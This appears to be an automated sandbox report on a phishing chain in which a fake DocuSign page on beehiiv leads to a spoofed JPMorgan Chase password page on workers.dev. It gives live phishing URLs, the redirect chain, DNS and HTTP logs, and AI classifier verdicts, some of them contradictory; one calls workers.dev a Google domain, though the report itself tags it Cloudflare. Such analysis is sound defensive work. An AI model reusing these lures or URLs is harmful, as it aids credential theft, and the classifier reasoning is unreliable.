URL: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign-in authentication with recipient company email is required to review and electronically sign the pending document. There is no requirement for a paper copy to be produced if completed with DocuSign", "prominent_button_name": "Submit", "text_input_field_labels": [ "Enter your email" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "file hosting" }

URL: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646 Model: Joe Sandbox AI	{ "brands": [ "DocuSign" ] }
	{ "brands": [ "DocuSign" ] }
URL: https://embeds.beehiiv.com Model: Joe Sandbox AI	```json{ "brand": "Beehiiv", "brand_classification": "unknown", "legit_url": "https://www.beehiiv.com", "similarity": 3, "spoofed": 2, "reasoning": "The URL 'https://embeds.beehiiv.com' uses a subdomain 'embeds' which is a common practice for hosting specific services or features related to the main domain. The main domain 'beehiiv.com' matches the legitimate brand name 'Beehiiv'. There are no visual character substitutions or structural changes that suggest typosquatting. The use of the subdomain 'embeds' does not imply any deceptive intent and is likely used for a legitimate purpose related to the brand's services. The similarity score is low due to the lack of deceptive elements, and the likelihood of this being a typosquatting attempt is very low."}
URL: https://embeds.beehiiv.com
URL: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign-in authentication with recipient company email is required to review and electronically sign the pending document. There is no requirement for a paper copy to be produced if completed with DocuSign", "prominent_button_name": "Submit", "text_input_field_labels": [ "Enter your email" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "file hosting" } Google indexed: False

URL: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646 Model: Joe Sandbox AI	{ "brands": [ "DocuSign" ] } Google indexed: False
	{ "brands": [ "DocuSign" ] } Google indexed: False
URL: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign-in authentication with recipient company email is required to review and electronically sign the pending document. There is no requirement for a paper copy to be produced if completed with DocuSign", "prominent_button_name": "unknown", "text_input_field_labels": [ "joe.doe@jpmchase.net" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "file hosting" } Google indexed: False

URL: https://b8d1a7c1.nhubiubuniunuion.workers.dev/joe.doe@jpmchase.net Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://b8d1a7c1.nhubiubuniunuion.workers.dev/joe.doe@jpmchase.net Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://b8d1a7c1.nhubiubuniunuion.workers.dev Model: Joe Sandbox AI	```json{ "brand": "unknown", "brand_classification": "unknown", "legit_url": "unknown", "similarity": 1, "spoofed": 1, "reasoning": "The URL 'https://b8d1a7c1.nhubiubuniunuion.workers.dev' does not closely resemble any known brand or legitimate URL. The subdomain 'b8d1a7c1' appears to be a random string, and 'nhubiubuniunuion' does not match any known brand name. The use of 'workers.dev' is a legitimate domain extension provided by Cloudflare for serverless applications, which suggests a technical or development-related purpose rather than a typosquatting attempt. There are no visual character substitutions or structural changes that indicate an attempt to mimic a well-known brand. The overall structure and context of the URL do not suggest a deceptive intent."}
URL: https://b8d1a7c1.nhubiubuniunuion.workers.dev
URL: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646 Model: Joe Sandbox AI	{ "brands": [ "DocuSign" ] } Google indexed: False
	{ "brands": [ "DocuSign" ] } Google indexed: False
URL: https://b8d1a7c1.nhubiubuniunuion.workers.dev/joe.doe@jpmchase.net Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://b8d1a7c1.nhubiubuniunuion.workers.dev/joe.doe@jpmchase.net Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://628jpkkq.nhubiubuniunuion.workers.dev Model: Joe Sandbox AI	```json{ "brand": "unknown", "brand_classification": "unknown", "legit_url": "unknown", "similarity": 0, "spoofed": 0, "reasoning": "The URL 'https://628jpkkq.nhubiubuniunuion.workers.dev' does not exhibit any clear visual or structural similarities to a known brand. The subdomain '628jpkkq.nhubiubuniunuion' and the domain 'workers.dev' do not resemble any well-known brand names or legitimate URLs. The use of 'workers.dev' is a legitimate Google Cloud service domain, often used for development purposes, and does not inherently suggest typosquatting. The random alphanumeric subdomain does not imply any attempt to mimic a known brand, and there is no indication of user confusion due to the URL structure. Therefore, the likelihood of this being a typosquatting attempt is very low."}
URL: https://628jpkkq.nhubiubuniunuion.workers.dev
URL: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646 Model: Joe Sandbox AI	```json{ "legit_domain": "docusign.com", "classification": "wellknown", "reasons": [ "The brand 'DocuSign' is a well-known brand associated with electronic signature services.", "The URL 'embeds.beehiiv.com' does not match the legitimate domain 'docusign.com'.", "The domain 'beehiiv.com' is not associated with DocuSign and appears unrelated.", "The presence of an input field asking for an email on an unrelated domain is suspicious.", "The use of a subdomain 'embeds' does not align with typical DocuSign domain structures." ], "riskscore": 9} Google indexed: False
URL: embeds.beehiiv.com Brands: DocuSign Input Fields: Enter your email
URL: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Authentication is required", "prominent_button_name": "Click here for help", "text_input_field_labels": [ "User Account", "Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "finance" } Google indexed: False

URL: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646 Model: Joe Sandbox AI	```json{ "legit_domain": "docusign.com", "classification": "wellknown", "reasons": [ "The brand 'DocuSign' is well-known and typically associated with the domain 'docusign.com'.", "The URL 'embeds.beehiiv.com' does not match the legitimate domain for DocuSign.", "The domain 'beehiiv.com' is unrelated to DocuSign and could indicate a third-party service.", "The presence of a subdomain 'embeds' suggests the possibility of embedding content, which could be used for phishing.", "The email domain 'jpmchase.net' is unrelated to DocuSign, adding to the suspicion." ], "riskscore": 8} Google indexed: False
URL: embeds.beehiiv.com Brands: DocuSign Input Fields: joe.doe@jpmchase.net
URL: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true Model: Joe Sandbox AI	{ "brands": [ "JPMorgan Chase & Co." ] } Google indexed: False

URL: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=true Model: Joe Sandbox AI	```json{ "legit_domain": "jpmorganchase.com", "classification": "wellknown", "reasons": [ "The brand 'JPMorgan Chase & Co.' is a well-known financial institution.", "The legitimate domain for JPMorgan Chase & Co. is 'jpmorganchase.com'.", "The provided URL '628jpkkq.nhubiubuniunuion.workers.dev' does not match the legitimate domain.", "The URL contains a random string and uses a 'workers.dev' domain, which is commonly used for cloud services and not directly associated with JPMorgan Chase & Co.", "The presence of input fields for 'User Account' and 'Password' on a non-legitimate domain is a common phishing tactic." ], "riskscore": 9} Google indexed: False
URL: 628jpkkq.nhubiubuniunuion.workers.dev Brands: JPMorgan Chase & Co. Input Fields: User Account, Password

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Feb 6 20:52:27 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9844852258190158
Encrypted:	false
SSDEEP:	48:8edOTqulHeidAKZdA1FehwiZUklqehsJy+3:8zT2BJy
MD5:	EEE6F1EAE4BD10AEC2E75FFDFA879947
SHA1:	79425CDE67457D0D88D61B6589D8A57D7C5B1D70
SHA-256:	F234A4BBB6D0A3F48840782174479A34C45572A2D2DEF209337A49069827C3FE
SHA-512:	7E3141F2BA51610542937870FC19949C71207DBE07DA8CBD27ABBD6E69A5C49C206CD892370A3C21B75BEF08EF41F788321E1B8895848E38DA0940780286EDEF
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......j.x..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IFZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VFZ......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VFZ......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VFZ............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFZ.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............a.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 6, 2025 22:52:26.655138016 CET	53	65484	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:26.656781912 CET	53	49866	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:27.548145056 CET	63672	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:27.548504114 CET	60485	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:27.567894936 CET	53	60485	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:27.568896055 CET	53	63672	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:27.682518005 CET	53	60192	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:28.585225105 CET	62087	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:28.585553885 CET	49718	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:28.594393015 CET	53	62087	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:28.595004082 CET	53	49718	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:29.208159924 CET	54867	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:29.208295107 CET	60811	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:29.216804981 CET	53	60811	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:29.217180014 CET	53	54867	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:31.436083078 CET	61110	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:31.436286926 CET	53198	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:31.442854881 CET	53	61110	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:31.443110943 CET	53	53198	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:31.779289961 CET	53612	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:31.779439926 CET	56234	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:31.788125992 CET	53	53612	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:31.788552999 CET	53	56234	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:31.795929909 CET	53943	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:31.796099901 CET	52909	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:31.805262089 CET	53	53943	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:31.814929008 CET	53	52909	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:32.916533947 CET	59652	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:32.916754961 CET	57573	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:32.926834106 CET	53	57573	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:32.927236080 CET	53	59652	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:33.993144035 CET	49743	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:33.993292093 CET	49957	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:33.999931097 CET	53	49743	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:34.000459909 CET	53	49957	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:35.533802986 CET	57159	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:35.533971071 CET	61375	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:35.540620089 CET	53	61375	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:35.541022062 CET	53	57159	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:35.546308041 CET	60052	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:35.546524048 CET	49303	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:35.547368050 CET	56610	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:35.547606945 CET	50503	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:35.553482056 CET	53	49303	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:35.555368900 CET	53	60052	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:35.950618982 CET	53	50503	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:35.988966942 CET	53	56610	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:36.553705931 CET	50826	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:36.553828001 CET	60275	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:36.560944080 CET	53	50826	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:36.564191103 CET	53	60275	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:37.088833094 CET	51631	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:37.089135885 CET	56675	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:37.545295000 CET	57990	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:37.545608997 CET	53703	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:37.550518036 CET	53	51631	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:37.552663088 CET	53	57990	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:37.553479910 CET	53	53703	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:37.869960070 CET	53	56675	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:44.675455093 CET	53	60390	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:44.718478918 CET	62662	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:44.718635082 CET	64130	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:44.727283955 CET	53	64130	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:44.736280918 CET	53	62662	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:45.450596094 CET	62657	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:45.450892925 CET	59676	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:45.458597898 CET	53	62657	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:45.459254980 CET	53	59676	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:46.095748901 CET	53	57775	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:46.716204882 CET	60255	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:46.716351986 CET	63899	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:46.723830938 CET	53	60255	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:46.725042105 CET	53	63899	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:47.016822100 CET	53	57623	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:47.198103905 CET	50194	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:47.198261023 CET	58695	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:47.206140995 CET	53	50194	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:47.206731081 CET	53	58695	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:48.138463020 CET	53	52124	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:48.179399967 CET	59078	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:48.179527044 CET	61258	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:48.187028885 CET	53	61258	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:48.187829971 CET	53	59078	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:48.202868938 CET	62294	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:48.203001022 CET	60332	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:48.210095882 CET	53	62294	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:48.210525036 CET	53	60332	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:48.216892958 CET	51149	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:48.217149973 CET	53662	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:48.224212885 CET	53	51149	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:48.224459887 CET	53	53662	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:48.396272898 CET	53	56771	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:48.922846079 CET	62858	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:48.923011065 CET	62347	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:48.930113077 CET	53	62858	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:48.930150032 CET	53	62347	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:48.966320038 CET	60768	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:48.966455936 CET	62091	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:48.973829031 CET	53	60768	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:48.974538088 CET	53	62091	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:52.712629080 CET	53	62079	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:54.585424900 CET	50071	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:54.586456060 CET	59624	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:54.594562054 CET	53	50071	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:54.595449924 CET	53	59624	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:56.056416988 CET	55675	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:56.056556940 CET	60116	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:56.067480087 CET	53	55675	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:56.071177959 CET	53	60116	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:56.623862028 CET	58920	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:56.624064922 CET	57826	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:56.634342909 CET	53	58920	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:56.638678074 CET	53	57826	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:58.665045023 CET	53660	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:58.665185928 CET	57236	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:52:58.676753998 CET	53	57236	1.1.1.1	192.168.2.16
Feb 6, 2025 22:52:58.677227974 CET	53	53660	1.1.1.1	192.168.2.16
Feb 6, 2025 22:53:03.460561037 CET	53	49514	1.1.1.1	192.168.2.16
Feb 6, 2025 22:53:03.737349987 CET	51105	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:53:03.737479925 CET	61788	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:53:03.743992090 CET	53	61788	1.1.1.1	192.168.2.16
Feb 6, 2025 22:53:03.744244099 CET	53	51105	1.1.1.1	192.168.2.16
Feb 6, 2025 22:53:05.129997015 CET	63551	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:53:05.130122900 CET	50713	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:53:05.136605024 CET	60303	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:53:05.136745930 CET	59431	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:53:05.136754036 CET	53	50713	1.1.1.1	192.168.2.16
Feb 6, 2025 22:53:05.137036085 CET	53	63551	1.1.1.1	192.168.2.16
Feb 6, 2025 22:53:05.143584013 CET	53	60303	1.1.1.1	192.168.2.16
Feb 6, 2025 22:53:05.144006014 CET	53	59431	1.1.1.1	192.168.2.16
Feb 6, 2025 22:53:09.326524973 CET	57262	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:53:09.326644897 CET	57432	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:53:09.334662914 CET	53	57262	1.1.1.1	192.168.2.16
Feb 6, 2025 22:53:09.334997892 CET	53	57432	1.1.1.1	192.168.2.16
Feb 6, 2025 22:53:10.181174040 CET	64680	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:53:10.181308985 CET	54131	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:53:10.187776089 CET	53	64680	1.1.1.1	192.168.2.16
Feb 6, 2025 22:53:10.188668966 CET	53	54131	1.1.1.1	192.168.2.16
Feb 6, 2025 22:53:20.361350060 CET	60849	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:53:20.361550093 CET	62437	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:53:20.372567892 CET	53	60849	1.1.1.1	192.168.2.16
Feb 6, 2025 22:53:20.373214960 CET	53	62437	1.1.1.1	192.168.2.16
Feb 6, 2025 22:53:24.762262106 CET	63043	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:53:24.762432098 CET	54817	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:53:24.769339085 CET	53	63043	1.1.1.1	192.168.2.16
Feb 6, 2025 22:53:24.769630909 CET	53	54817	1.1.1.1	192.168.2.16
Feb 6, 2025 22:53:26.317032099 CET	53	59581	1.1.1.1	192.168.2.16
Feb 6, 2025 22:53:26.569638968 CET	53	65026	1.1.1.1	192.168.2.16
Feb 6, 2025 22:53:28.222064972 CET	53	60197	1.1.1.1	192.168.2.16
Feb 6, 2025 22:53:32.886684895 CET	138	138	192.168.2.16	192.168.2.255
Feb 6, 2025 22:53:56.057238102 CET	53	61397	1.1.1.1	192.168.2.16
Feb 6, 2025 22:54:24.774421930 CET	53852	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:54:24.774584055 CET	54274	53	192.168.2.16	1.1.1.1
Feb 6, 2025 22:54:24.781810045 CET	53	54274	1.1.1.1	192.168.2.16
Feb 6, 2025 22:54:24.782036066 CET	53	53852	1.1.1.1	192.168.2.16

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:28 UTC	697	OUT	GET /l/f417f9a1ba0740bbe0f8b9fcdcdd50bf6dcca2af HTTP/1.1 Host: mailtrack.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-06 21:52:28 UTC	903	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 06 Feb 2025 21:52:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: nginx Cache-Control: no-cache, no-store, private Location: https://uk.content.exclaimer.net/?url=https%3A%2F%2Fnet-sign.netlify.app%2F&tenantid=c5qVnt2gEe-Qy2BFvdCCyg&templateid=529e0b1da8ddef1190cb6045bdd082ca&excomponentid=u83pNPiq0zqlY_7b5baT_bNDnmkUtfd_FgVa3JFXsmo&excomponenttype=Link&signature=HvZKpAk8HcOeW_EiUL9zJsfJm4uKSwk_wSs7VCbqgPkLHtw82EdjroFzquUH1u0KfiS9Q7TbLjifGK0LkQSBtzJeDabfB2gji-dpPNPx0f27kD4mqNTkP3pZd6ygOXYa2NwpiobZLuMR3DkdEe8LUW413c0vgFcDH6WPDb-llZcOFZ8berqD223_7kh5VN3Y2jckg3u8kWdZtX5i286yfEnJMuvkQ8l83FyU2uDZkWvdrb3MrfeEZsfYQbyRdSCAUmmUIyRuKv3_XShM5HpSLRNxO0Nv3xLAjZqy_BK6eBqmRrCiXFMeC_NOOFcRofoAOIFz1QdgIT9fNCDYiyLOqw&v=1&imprintMessageId=1610adac-5958-4b66-8fbf-bd5d251bfbef X-Robots-Tag: noindex, nofollow
2025-02-06 21:52:28 UTC	2929	IN	Data Raw: 62 36 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 75 6b 2e 63 6f 6e 74 65 6e 74 2e 65 78 63 6c 61 69 6d 65 72 2e 6e 65 74 2f 3f 75 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6e 65 74 2d 73 69 67 6e 2e 6e 65 74 6c 69 66 79 2e 61 70 70 25 32 46 26 61 6d 70 3b 74 65 6e 61 6e 74 69 64 3d 63 35 71 56 6e 74 32 67 45 65 2d 51 79 32 42 46 76 64 43 43 79 67 26 61 6d 70 3b 74 65 6d 70 6c 61 74 65 69 64 3d 35 32 39 65 30 Data Ascii: b6a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://uk.content.exclaimer.net/?url=https%3A%2F%2Fnet-sign.netlify.app%2F&tenantid=c5qVnt2gEe-Qy2BFvdCCyg&templateid=529e0
2025-02-06 21:52:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:29 UTC	1275	OUT	GET /?url=https%3A%2F%2Fnet-sign.netlify.app%2F&tenantid=c5qVnt2gEe-Qy2BFvdCCyg&templateid=529e0b1da8ddef1190cb6045bdd082ca&excomponentid=u83pNPiq0zqlY_7b5baT_bNDnmkUtfd_FgVa3JFXsmo&excomponenttype=Link&signature=HvZKpAk8HcOeW_EiUL9zJsfJm4uKSwk_wSs7VCbqgPkLHtw82EdjroFzquUH1u0KfiS9Q7TbLjifGK0LkQSBtzJeDabfB2gji-dpPNPx0f27kD4mqNTkP3pZd6ygOXYa2NwpiobZLuMR3DkdEe8LUW413c0vgFcDH6WPDb-llZcOFZ8berqD223_7kh5VN3Y2jckg3u8kWdZtX5i286yfEnJMuvkQ8l83FyU2uDZkWvdrb3MrfeEZsfYQbyRdSCAUmmUIyRuKv3_XShM5HpSLRNxO0Nv3xLAjZqy_BK6eBqmRrCiXFMeC_NOOFcRofoAOIFz1QdgIT9fNCDYiyLOqw&v=1&imprintMessageId=1610adac-5958-4b66-8fbf-bd5d251bfbef HTTP/1.1 Host: uk.content.exclaimer.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
